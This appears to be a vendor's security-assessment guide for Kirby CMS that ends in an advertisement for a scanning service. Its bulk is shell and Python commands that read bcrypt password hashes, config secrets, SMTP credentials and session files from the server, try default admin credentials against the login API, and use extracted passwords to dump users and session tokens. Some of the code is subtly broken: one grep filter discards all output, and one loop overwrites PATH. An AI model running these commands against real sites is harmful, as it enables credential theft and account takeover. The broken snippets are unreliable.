Kirby CMS is a popular database-free PHP CMS that stores all content and user accounts as flat files. Key assessment areas: site/accounts/ YAML files contain bcrypt-hashed passwords for all panel users; site/content/ stores all CMS content in plaintext including draft pages; site/config/config.php may expose API tokens and application secrets; and the REST API uses token-based authentication that may be misconfigured. This guide covers systematic Kirby CMS security assessment.
# Kirby CMS — site/accounts/ YAML hash and config extraction
KIRBY_URL="https://site.example.com"
# site/accounts/ — Kirby user YAML files (one file per user)
ls /var/www/kirby/site/accounts/ 2>/dev/null
# email@example.com/ (directories named by email hash in Kirby 3+)
# or: admin.yml, editor.yml (Kirby 2)
# Kirby 3: accounts stored in site/accounts/[email-hash]/index.php
for ACCOUNT_DIR in /var/www/kirby/site/accounts/*/; do
echo "=== ${ACCOUNT_DIR} ==="
cat "${ACCOUNT_DIR}index.php" 2>/dev/null | grep -v "^" | head -20
done
# email: admin@example.com
# name: Admin
# password: $2y$10$... <-- bcrypt hash
# role: admin <-- admin, editor, etc.
# language: en
# site/config/config.php — API tokens and application secrets
cat /var/www/kirby/site/config/config.php 2>/dev/null
# 'api' => ['basicAuth' => true, 'allowInsecure' => true]
# 'api.basicAuth' => true (enables HTTP Basic Auth for API)
# Custom secrets, third-party API keys, SMTP credentials
# Check direct web access to critical directories
for PATH in "site/accounts/" "site/config/" "site/sessions/" "site/logs/"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${KIRBY_URL}/${PATH}" 2>/dev/null)
echo "/${PATH}: HTTP ${STATUS}"
done
# Test admin credentials at /panel/login
for CRED in "admin@example.com:admin" "hello@example.com:admin" "admin@domain.com:password"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${KIRBY_URL}/api/auth/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done
# Kirby CMS REST API — token and unauthenticated access assessment
KIRBY_URL="https://site.example.com"
# Kirby REST API (Kirby 3+) at /api/
# Authentication options: session cookie, HTTP Basic Auth, Bearer token
# System info (public endpoint — Kirby version disclosure)
curl -s "${KIRBY_URL}/api/system" 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Kirby version: {d.get(\"kirby\",{}).get(\"version\",\"unknown\")}')
print(f'PHP version: {d.get(\"server\",{}).get(\"php\",\"unknown\")}')
print(f'isInstalled: {d.get(\"isInstalled\")}')
except: pass
" 2>/dev/null
# Kirby API with Basic Auth (if api.basicAuth enabled)
curl -s "${KIRBY_URL}/api/users" \
--user "admin@example.com:extracted-password" \
-H "Content-Type: application/json" 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
users=d.get('data',[])
print(f'Users: {len(users)}')
for u in users[:5]:
print(f' {u.get(\"email\")} — role: {u.get(\"role\",{}).get(\"name\")}')
except: pass
" 2>/dev/null
# Kirby panel login — session token extraction
SESSION=$(curl -s -X POST "${KIRBY_URL}/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"extracted-password"}' \
-c /tmp/kirby_c 2>/dev/null)
echo "${SESSION}" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
token=d.get('token','')
print(f'Auth token: {token[:40]}...')
except: pass
" 2>/dev/null
# List all pages via API (with admin auth)
curl -s "${KIRBY_URL}/api/pages?select=id,title,status,slug" \
--user "admin@example.com:extracted-password" 2>/dev/null | head -30
# Kirby CMS — site/content/ flat-file content access
# No database — all content stored as text files in site/content/
# List all content including drafts
find /var/www/kirby/site/content/ -name "*.txt" -o -name "*.md" 2>/dev/null | head -30
# Kirby stores content as:
# site/content/1_home/home.txt
# site/content/2_about/about.txt
# site/content/_drafts/secret-page/page.txt <-- draft (unpublished)
# site/content/error/error.txt
# Read draft content (not publicly accessible via web, but readable on filesystem)
find /var/www/kirby/site/content/_drafts/ -name "*.txt" 2>/dev/null | \
while read f; do echo "=== $f ==="; cat "$f"; echo; done
# site/sessions/ — PHP session files
ls -la /var/www/kirby/site/sessions/ 2>/dev/null | head -10
# Session files contain user email, token, authentication state
for SESSION_FILE in /var/www/kirby/site/sessions/*.sess; do
echo "=== ${SESSION_FILE} ==="
cat "${SESSION_FILE}" 2>/dev/null | head -5
done
# Check web access to site/content/ (should be blocked by .htaccess or nginx rules)
for CONTENT_PATH in "site/content/" "site/sessions/" "site/accounts/"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${KIRBY_URL}/${CONTENT_PATH}" 2>/dev/null)
echo "/${CONTENT_PATH}: HTTP ${STATUS}"
done
# site/config/config.php — custom API keys and email credentials
grep -E "apiKey|smtp|password|secret|token" \
/var/www/kirby/site/config/config.php 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| site/accounts/ YAML bcrypt hash extraction for all panel users | Read /var/www/kirby/site/accounts/*/index.php — bcrypt hashes, email addresses, role (admin/editor); admin role = full panel access | Critical |
| site/accounts/ web access (should return 403) | GET /site/accounts/ — HTTP 200/403 test; 200 = direct bcrypt hash download without server access required | Critical |
| site/sessions/ session file enumeration | Read /var/www/kirby/site/sessions/ — PHP session files containing email, role, session token; token replay enables panel access without password | High |
| REST API Basic Auth credential brute-force | POST /api/auth/login — email/password; admin token enables all API operations including user creation, file upload, content modification | High |
| site/content/_drafts/ unpublished page content access | Read /var/www/kirby/site/content/_drafts/ — all draft and unpublished pages in plaintext; may contain sensitive pre-publication content | Medium |
Ironimo tests Kirby CMS deployments for site/accounts/ YAML bcrypt hash web accessibility and filesystem extraction, site/sessions/ PHP session token file enumeration enabling session replay attacks, site/content/_drafts/ unpublished page content access, site/config/config.php API key and SMTP credential extraction, /api/system Kirby version disclosure for CVE targeting, REST API /api/auth/login admin credential brute-force, HTTP Basic Auth API access assessment if api.basicAuth enabled, panel /panel/login credential testing, Kirby plugin inventory for unpatched vulnerability detection, and web server .htaccess / Nginx deny rule verification for all site/ subdirectories.
Start free scan